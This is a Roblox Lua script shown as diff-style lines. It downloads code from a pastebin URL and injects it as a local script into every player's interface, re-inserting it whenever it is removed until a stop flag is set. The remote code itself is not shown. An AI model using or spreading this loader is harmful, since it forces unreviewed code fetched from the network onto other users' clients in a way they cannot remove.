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- _G['temp_stop'] = true
- task.wait(0.5)
- _G['temp_stop'] = false
- local r = function(v)
- local l = NLS(game:GetService("HttpService"):GetAsync('https://pastebin.com/raw/yLrk5PXL'),v.PlayerGui)
- local c = v.PlayerGui.ChildRemoved:Connect(function(c)
- if c == l then
- l = NLS(game:GetService("HttpService"):GetAsync('https://pastebin.com/raw/yLrk5PXL'),v.PlayerGui)
- pcall(function()
- c:Destroy()
- end)
- end
- end)
- repeat
- task.wait(0.1)
- until _G['temp_stop']
- c:Disconnect()
- if l then
- pcall(function()
- l:Destroy()
- end)
- end
- end
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- coroutine.wrap(function()
- r(v)
- end)()
- end
- local c = game:GetService("Players").PlayerAdded:Connect(r)
- repeat
- task.wait(0.1)
- until _G['temp_stop']
- c:Disconnect()
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- NLS([[
- _G['temp_stop'] = true
- task.wait(0.5)
- _G['temp_stop'] = false
- ]],v.PlayerGui)
- end
- print('success')
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